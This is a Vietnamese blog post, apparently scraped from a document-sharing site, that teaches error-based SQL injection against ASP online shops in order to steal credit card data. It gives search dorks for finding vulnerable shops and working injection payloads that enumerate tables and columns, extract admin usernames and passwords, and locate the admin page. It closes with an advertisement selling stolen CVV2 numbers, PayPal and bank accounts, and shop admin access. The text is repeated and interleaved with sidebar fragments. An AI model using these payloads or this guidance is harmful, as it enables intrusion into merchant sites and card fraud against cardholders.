Minhphat - Tut Hack Cc Căn Bản

Minhphat - Tut Hack Cc Căn Bản
Log in | Sign up
Home Community Forums Opera
MinhPhat
»-(¯`'•.¸.•¤*¨°•..¸¸.•-:¦:-†Blog-Opera†-:¦:-•.¸¸.•°¨*¤•.¸.•'´¯)~-»
Blog Archive Photos Favorites Unite Links Friends About
Tut Hack Cc Căn Bản Minhphat

WEDNESDAY, 30. JUNE 2010, 03:43:50
HACK SHOP
Tất cả những kiến thức này đều rất căn bản , Nhưng lại hết sức hữu dụng trong việc hack shop.Chỉ cần
thành thạo những kiến thức này là bạn hack được cả đống shop rồi .
Để tìm site bị lỗi kiểu này đòi hỏi bạn phải có nhiều kinh nghiệm tìm lỗi và search shop như thế nào cho
thật hiệu quả. Nên search shop ở To view links in this forum your post count must be 5 or greater. Your
post count is 0 momentarily. hoặc To view links in this forum your post count must be 5 or greater.
Your post count is 0 momentarily. Từ khoá nên dùng:allinurl:”shopdisplayproducts.asp?id="ho c search
theo domain allinurl:”.com/shopdisplayproducts.asp?id= "bạn có thể thay .com bằng .net,.biz ,.us.....vv
thay id bằng cat
Hoa hoc tro
theo tôi khi search bạn nên thêm giá trị của id= ví dụ như :allinurl:”shopdisplayproducts.asp?id=9"
Mỗi lần thay giá trị như vậy sẽ cho ra thêm nhiều kết quả mới .Sau khi search xong bạn chọn lấy một
Blog search
site bất kỳ ta.thêm dấu nháy đơn ' .
http://www.victim.com/shopping/shopdisplay...asp?id=153' search
Nếu ko báo lỗi, bạn hãy thử thay id bằng cat xem http://www.victim.com/shopping/shopdisplay...sp?
cat=153'
Trích: Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server
Driver][SQL Server]Unclosed quotation mark before the character string
''./shopping/shopdisplayproducts.asp, line 93
Oh có lỗi rồi. Bạn nhìn kỹ nhé -----> Unclosed quotation mark before the character string đối với lỗi này
ta sẽ dùng and 1=convert , Còn nếu nó báo thế này
http://my.opera.com/luuminhphat/blog/show.dml/13375182[8/4/2010 11:21:07 AM]

Friends
CODE
Microsoft JET Database Engine error '80040e14' Syntax error in query _expression
'cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and c.catdescription like '5'%' and hide=0
order by specialoffer desc,cname'. /shop$db.asp, line 467
ngaothientuan tranngocvinh
Thì đây là lỗi jet Bạn hãy chuyển qua phần 2
Bây giờ ta tiếp tục :
Trích:
CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL
Server]Unclosed quotation mark before the character string ''./shopping/shopdisplayproducts.asp, line vominhtri1107 sapphiretran
93
Bước I:
Lấy table : đây là câu lệnh cơ bản để lấy table:
and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password
rivick
bạn xoá dấu ' rồi thêm dòng query này vào phía sau
ta được như thế này
To view links in this forum your post count must be 5 or greater. Your post count is 0 momentarily. Latest comments
tion_schema.tables))--sp_password
Minhphat
Chú ý : %20 là mã ascii của dấu cách (space) , do IE ko chấp nhận dấu cách nên nó phải chuyển sang dem dem ko dam ra ngoai di toe let
ascii :D
Minhphat
Trích: Uh rat vui. Hj
CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Minhphat
Server]Syntax error converting the nvarchar value 'ver_Faq' to a column of data type Hay qua. Cam on ban nhieu ^^!
int./shopping/shopdisplayproducts.asp, line 93
rivick
Còn chuyện này nữa bạn ơi: có hai
kết quả 'ver_Faq' là tên của table đầu tiên trong cơ sở dữ liệu :câu lệnh lấy table tiếp theo :and vợ cồng nhà nọ ra tòa xin ly h ...
1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in
rivick
('ver_Faq')))--sp_password Trời ơi, thật là...con gái bây giờ có
phải là gà đâu mà dễ dụ nh ...
ta được thế nàyhttp://www.victim.com/shopping/shopd...from%20informa
rivick
tion_schema.tables%20where%20table_name%20not%20in %20('ver_Faq')))--sp_password À quên! Mình làm bạn nhé?
:confused: :love: :love: :love:
Trích:

August 2010
CODE
M T W T F S S
ProductsMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server
1
Driver][SQL Server]Syntax error converting the nvarchar value 'coupons' to a column of data type
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
Ta cứ lấy tiếp như vậy :
23 24 25 26 27 28 29
30 31
To view links in this forum your post count must be 5 or greater. Your post count is 0 momentarily.
nt,(select%20top%201%20table_name%20from%20informa July 2010 September 2010
tion_schema.tables%20where%20table_name%20not%20in %20('ver_Faq','coupons')))--sp_password
Latest blog posts
Bước II : lấy column mục đích của chúng ta là tìm thông tin liên quan đến admin , thông thường nó nằm
Linh cảm - khả năng kỳ diệu của con người
trong các table : users, tbluser,AdminUsers..........Giả sử ở đây là tbluser
Câu truy vấn dùng để lấy column:and 1=convert(int,(select top 1 column_ name from Con số 7
information_schema.columns where table_name=('tbluser')))--sp_password Chiến tranh thế giới thứ 3 vào năm 2010?
Sắc màu của tình bạn

ta được thế nàyhttp://www.victim.com/shopping/shopd...cts.asp?id=153 and 1=convert(int,(select top
1 column_ name from information_schema.columns where table_name=('tbluser')))--sp_password Câu chuyện về tình bạn
Đáp Án Đề Thi Tốt Nghiệp THPT 2010 : Môn

Trích: Hóa
CODE Ca dao bất hủ
THẾ GIỚI TÂM LINH (PHẦN CUỐI) - NGUYÊN
Driver][SQL Server]Syntax error converting the nvarchar value 'fldauto' to a column of data type
LÝ VÀ ĐẠO LÝ UỐNG NƯỚC
Bí quyết tăng cân hiệu quả
Lấy column tiếp theo:and 1=convert(int,(select top 1 column_ name from information_schema.columns Khoa học huyền bí
where table_name=('tbluser') and column_name not in ('fldauto')))--sp_password
Khi thêm code xong sẽ như thế này: Tags
ban bi an bi quyet thanh cong ca dao bat hu
nt,(select%20top%201%20column_name%20from%20inform
ation_schema.columns%20where%20table_name=('tbluse chua dau buon cua gai cười ddos
r')%20and%20column_name%20not%20in%20('fldauto'))) --sp_password de thi hoa tot nghiep gmail hack shop

hoc cach tha thu
Driver][SQL Server]Syntax error converting the nvarchar value 'fldusername' to a column of data type
Hướng d ẫn CHMOD phòng chống local hack
kieu cang love ma mon qua y nghia
nghe thuat tha thu nghich noi chuyen co duyen

Lấy column tiếp theo :and 1=convert(int,(select top 1 column_name from information_schema.columns
where table_name=('tbluser') and column_name not in ('fldauto','fldusername')))--sp_password
wap free download mobile
ation_schema.columns%20where%20table_name=('tbluse http://vn.360plus.yahoo.com/minhphatbg
r')%20and%20column_name%20not%20in%20('fldauto','f ldusername')))--sp_password
Recent visitors
Trích
CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
clandestino12 sylvain08 thinh00
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'fldpassword'
to a column of data type int.
/shopping/shopdisplayproducts.asp, line 93
rivick conmeoxulong langkesat
Ok được rồi, giờ ta lấy username và password :

++++Câu truy vấn :
_Lấy username
and 1=convert(int,(select top 1 fldusername from tbluser))--sp_password
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the nvarchar value 'admin' to a column of data type int.
/shopping/shopdisplayproducts.asp, line 93----------> username là admin
_Lấy password :
and 1=convert(int,(select top 1 fldpassword from tbluser))--sp_password
Server]Syntax error converting the nvarchar value '1234' to a column of data type int.
/shopping/shopdisplayproducts.asp, line 93----------> pass là 1234
Hoặc có thể lấy cả 2 cùng 1 lúc

and 1=convert(int,(select top 1 fldusername%2b'/'%2bfldpassword from tbluser))--sp_password
%2b là mã ascii của dấu +
Server]Syntax error converting the nvarchar value 'admin/1234' to a column of data type int.
Chú ý :Nhiều khi bạn không thể tìm thấy table tbluser hoặc users hay các table (có vẻ) liên quan đến
thông tin admin .Lúc này chẳng nhẽ bạn đành lấy lần lượt các column trong từng table sao ? Chúng ta có

1 cách khác nhanh hơn đó là dùng từ khoá like
Giả sử ta cần tìm column 'fldpassword' mà không biết nó ở đâu .Ta thử search tại Table đầu tiên
'ver_Faq'
Câu truy vấn như sau:
and 1=convert(int,(select top 1 column_name from information_schema.columns where
table_name=('ver_Faq') and column_name like ('%25pass%25')))--sp_password
Bạn chú ý : câu truy vấn này sẽ trả về tên của column đầu tiên mà tên của nó có chứa chữ "pass"
Trích :
No products match your search
Oh vậy là table 'ver_Faq' ko có column nào mà tên của nó có chứa chữ "pass" .Đến đây chắc bạn biết
làm gì tiếp, ta cứ search các table khác, table nào có nó sẽ cho ra kết quả như sau :
TríchMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'
Bước III:
Sau khi đã có username và password việc còn lại là tìm link admin .Ví dụ link của shop là thế này
Thì link admin có thể nằm ở
Hoặc To view links in this forum your post count must be 5 or greater. Your post count is 0
momentarily.
Nếu không được bạn hãy làm theo cách của tôi :
Ta biết column fieldvalue và fieldname chứa link admin
Column fieldvalue và fieldname thường nằm trong table configuration
Nhưng nhiều khi bạn đã lấy được tất cả table của shop nhưng vẫn không thấy table configuration , đó là
vì table này đã bị rename , lúc này buộc bạn phải sử dụng tiếp từ khoá like để search column
filedvalue . Cái này tôi không nói thêm nữa bạn. cứ áp dụng theo hướng dẫn ở trên.
Để lấy link admin bạn dùng câu truy vấn như sau :
and 1=convert(int,(select top 1 fieldname%2b'/'%2bfieldvalue from configuration where
fieldname='xadminpage'))--sp_password
Trích:Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'xadminpage/5h0padm1n.asp' to a column of data type int.
ok link admin là 5h0padm1n.asp
Giờ thì bạn đã có shop rồi, giờ chỉ cần vào view cc nữa thôi (happy.gif)Tất cả những kiến thức này đều

rất căn bản , Nhưng lại hết sức hữu dụng trong việc hack shop.Chỉ cần thành thạo những kiến thức này
là bạn hack được cả đống shop rồi .
Để tìm site bị lỗi kiểu này đòi hỏi bạn phải có nhiều kinh nghiệm tìm lỗi và search shop như thế nào cho
thật hiệu quả. Nên search shop ở To view links in this forum your post count must be 5 or greater. Your
post count is 0 momentarily. hoặc To view links in this forum your post count must be 5 or greater.
Your post count is 0 momentarily. Từ khoá nên dùng:allinurl:”shopdisplayproducts.asp?id="ho c search
theo domain allinurl:”.com/shopdisplayproducts.asp?id= "bạn có thể thay .com bằng .net,.biz ,.us.....vv
thay id bằng cat
theo tôi khi search bạn nên thêm giá trị của id= ví dụ như :allinurl:”shopdisplayproducts.asp?id=9"
Mỗi lần thay giá trị như vậy sẽ cho ra thêm nhiều kết quả mới .Sau khi search xong bạn chọn lấy một
site bất kỳ ta.thêm dấu nháy đơn ' .
http://www.victim.com/shopping/shopdisplay...asp?id=153'
Nếu ko báo lỗi, bạn hãy thử thay id bằng cat xem http://www.victim.com/shopping/shopdisplay...sp?
cat=153'
Driver][SQL Server]Unclosed quotation mark before the character string
''./shopping/shopdisplayproducts.asp, line 93
Oh có lỗi rồi. Bạn nhìn kỹ nhé -----> Unclosed quotation mark before the character string đối với lỗi này
ta sẽ dùng and 1=convert , Còn nếu nó báo thế này
CODE
Microsoft JET Database Engine error '80040e14' Syntax error in query _expression
'cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and c.catdescription like '5'%' and hide=0
order by specialoffer desc,cname'. /shop$db.asp, line 467
Thì đây là lỗi jet Bạn hãy chuyển qua phần 2

Bây giờ ta tiếp tục :
Trích:
CODE
Server]Unclosed quotation mark before the character string ''./shopping/shopdisplayproducts.asp, line
93
Bước I:
Lấy table : đây là câu lệnh cơ bản để lấy table:
and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

bạn xoá dấu ' rồi thêm dòng query này vào phía sau
ta được như thế này
tion_schema.tables))--sp_password
Chú ý : %20 là mã ascii của dấu cách (space) , do IE ko chấp nhận dấu cách nên nó phải chuyển sang
ascii
Trích:
CODE
Server]Syntax error converting the nvarchar value 'ver_Faq' to a column of data type
kết quả 'ver_Faq' là tên của table đầu tiên trong cơ sở dữ liệu :câu lệnh lấy table tiếp theo :and
1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in
('ver_Faq')))--sp_password
ta được thế nàyhttp://www.victim.com/shopping/shopd...from%20informa

tion_schema.tables%20where%20table_name%20not%20in %20('ver_Faq')))--sp_password
Trích:
CODE
Driver][SQL Server]Syntax error converting the nvarchar value 'coupons' to a column of data type
Ta cứ lấy tiếp như vậy :
nt,(select%20top%201%20table_name%20from%20informa
tion_schema.tables%20where%20table_name%20not%20in %20('ver_Faq','coupons')))--sp_password
Bước II : lấy column mục đích của chúng ta là tìm thông tin liên quan đến admin , thông thường nó nằm
trong các table : users, tbluser,AdminUsers..........Giả sử ở đây là tbluser
Câu truy vấn dùng để lấy column:and 1=convert(int,(select top 1 column_ name from
information_schema.columns where table_name=('tbluser')))--sp_password
ta được thế nàyhttp://www.victim.com/shopping/shopd...cts.asp?id=153 and 1=convert(int,(select top

1 column_ name from information_schema.columns where table_name=('tbluser')))--sp_password
Trích:
CODE
Driver][SQL Server]Syntax error converting the nvarchar value 'fldauto' to a column of data type
Lấy column tiếp theo:and 1=convert(int,(select top 1 column_ name from information_schema.columns
where table_name=('tbluser') and column_name not in ('fldauto')))--sp_password
Khi thêm code xong sẽ như thế này:
ation_schema.columns%20where%20table_name=('tbluse
r')%20and%20column_name%20not%20in%20('fldauto'))) --sp_password
Driver][SQL Server]Syntax error converting the nvarchar value 'fldusername' to a column of data type
Lấy column tiếp theo :and 1=convert(int,(select top 1 column_name from information_schema.columns
where table_name=('tbluser') and column_name not in ('fldauto','fldusername')))--sp_password
ation_schema.columns%20where%20table_name=('tbluse
r')%20and%20column_name%20not%20in%20('fldauto','f ldusername')))--sp_password
Trích
CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
Ok được rồi, giờ ta lấy username và password :

++++Câu truy vấn :

_Lấy username
and 1=convert(int,(select top 1 fldusername from tbluser))--sp_password
Server]Syntax error converting the nvarchar value 'admin' to a column of data type int.
/shopping/shopdisplayproducts.asp, line 93----------> username là admin
_Lấy password :
and 1=convert(int,(select top 1 fldpassword from tbluser))--sp_password
Server]Syntax error converting the nvarchar value '1234' to a column of data type int.
/shopping/shopdisplayproducts.asp, line 93----------> pass là 1234
Hoặc có thể lấy cả 2 cùng 1 lúc

and 1=convert(int,(select top 1 fldusername%2b'/'%2bfldpassword from tbluser))--sp_password
%2b là mã ascii của dấu +
Server]Syntax error converting the nvarchar value 'admin/1234' to a column of data type int.
Chú ý :Nhiều khi bạn không thể tìm thấy table tbluser hoặc users hay các table (có vẻ) liên quan đến
thông tin admin .Lúc này chẳng nhẽ bạn đành lấy lần lượt các column trong từng table sao ? Chúng ta có
1 cách khác nhanh hơn đó là dùng từ khoá like
Giả sử ta cần tìm column 'fldpassword' mà không biết nó ở đâu .Ta thử search tại Table đầu tiên
'ver_Faq'
Câu truy vấn như sau:
and 1=convert(int,(select top 1 column_name from information_schema.columns where
table_name=('ver_Faq') and column_name like ('%25pass%25')))--sp_password
Bạn chú ý : câu truy vấn này sẽ trả về tên của column đầu tiên mà tên của nó có chứa chữ "pass"
Trích :
No products match your search
Oh vậy là table 'ver_Faq' ko có column nào mà tên của nó có chứa chữ "pass" .Đến đây chắc bạn biết
làm gì tiếp, ta cứ search các table khác, table nào có nó sẽ cho ra kết quả như sau :
TríchMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'
Bước III:

Sau khi đã có username và password việc còn lại là tìm link admin .Ví dụ link của shop là thế này
Thì link admin có thể nằm ở
Hoặc To view links in this forum your post count must be 5 or greater. Your post count is 0
momentarily.
Nếu không được bạn hãy làm theo cách của tôi :
Ta biết column fieldvalue và fieldname chứa link admin
Column fieldvalue và fieldname thường nằm trong table configuration
Nhưng nhiều khi bạn đã lấy được tất cả table của shop nhưng vẫn không thấy table configuration , đó là
vì table này đã bị rename , lúc này buộc bạn phải sử dụng tiếp từ khoá like để search column
filedvalue . Cái này tôi không nói thêm nữa bạn. cứ áp dụng theo hướng dẫn ở trên.
Để lấy link admin bạn dùng câu truy vấn như sau :
and 1=convert(int,(select top 1 fieldname%2b'/'%2bfieldvalue from configuration where
fieldname='xadminpage'))--sp_password
Trích:Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'xadminpage/5h0padm1n.asp' to a column of data type int.
ok link admin là 5h0padm1n.asp
Giờ thì bạn đã có shop rồi, giờ chỉ cần vào view cc nữa thôi
( Sưu tầm )
-Sell Cvv2 US & UK : 2 $

-Sell Paypal Verified & Balance : 10 $
-Sell Bank : 40 $
-Sell CC Full : 5 $
-Sell Hosting & Domain to Your Demand
-Sell Shopadmin : price very cheap
-Sell List 10.000.000 email
-Sell Prisock Clear & 5sock.net
Nếu thấy ý nghĩa thi cho e cai thanks.........................!!!

Suu tam

Code Anti DDOS 1000 con hạc giấy
Write a comment
You must be logged in to write a comment. If you're not a registered member, please sign up.
Username: Password:
login
Try a faster and more secure Web browser. Download Opera
Minhphat is blogging on My Opera

My Opera is a blog and photo sharing community with millions of members.
Join now to follow Minhphat's blog and get your own.
Join now!
Help | Disclaimer | Terms of service | Web analytics powered by HitsLink

RSS | ATOM WIDGETIZE
Site language: English
English
view mobile site

Minhphat - Tut Hack Cc Căn Bản

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Minhphat - Tut Hack Cc Căn Bản

Uploaded by

Copyright:

Available Formats

Minhphat - Tut Hack Cc Căn Bản

Blog Archive Photos Favorites Unite Links Friends About

Tut Hack Cc Căn Bản Minhphat

http://my.opera.com/luuminhphat/blog/show.dml/13375182[8/4/2010 11:21:07 AM]

http://my.opera.com/luuminhphat/blog/show.dml/13375182[8/4/2010 11:21:07 AM]

Sắc màu của tình bạn

Đáp Án Đề Thi Tốt Nghiệp THPT 2010 : Môn

r')%20and%20column_name%20not%20in%20('fldauto'))) --sp_password de thi hoa tot nghiep gmail hack shop

nghe thuat tha thu nghich noi chuyen co duyen

rivick conmeoxulong langkesat

Ok được rồi, giờ ta lấy username và password :

Hoặc có thể lấy cả 2 cùng 1 lúc

http://my.opera.com/luuminhphat/blog/show.dml/13375182[8/4/2010 11:21:07 AM]

http://my.opera.com/luuminhphat/blog/show.dml/13375182[8/4/2010 11:21:07 AM]

Thì đây là lỗi jet Bạn hãy chuyển qua phần 2

http://my.opera.com/luuminhphat/blog/show.dml/13375182[8/4/2010 11:21:07 AM]

ta được thế nàyhttp://www.victim.com/shopping/shopd...from%20informa

Ta cứ lấy tiếp như vậy :

ta được thế nàyhttp://www.victim.com/shopping/shopd...cts.asp?id=153 and 1=convert(int,(select top

http://my.opera.com/luuminhphat/blog/show.dml/13375182[8/4/2010 11:21:07 AM]

Ok được rồi, giờ ta lấy username và password :

http://my.opera.com/luuminhphat/blog/show.dml/13375182[8/4/2010 11:21:07 AM]

Hoặc có thể lấy cả 2 cùng 1 lúc

http://my.opera.com/luuminhphat/blog/show.dml/13375182[8/4/2010 11:21:07 AM]

-Sell Cvv2 US & UK : 2 $

Nếu thấy ý nghĩa thi cho e cai thanks.........................!!!

http://my.opera.com/luuminhphat/blog/show.dml/13375182[8/4/2010 11:21:07 AM]

Code Anti DDOS 1000 con hạc giấy

Try a faster and more secure Web browser. Download Opera

Minhphat is blogging on My Opera

Help | Disclaimer | Terms of service | Web analytics powered by HitsLink

view mobile site

http://my.opera.com/luuminhphat/blog/show.dml/13375182[8/4/2010 11:21:07 AM]

You might also like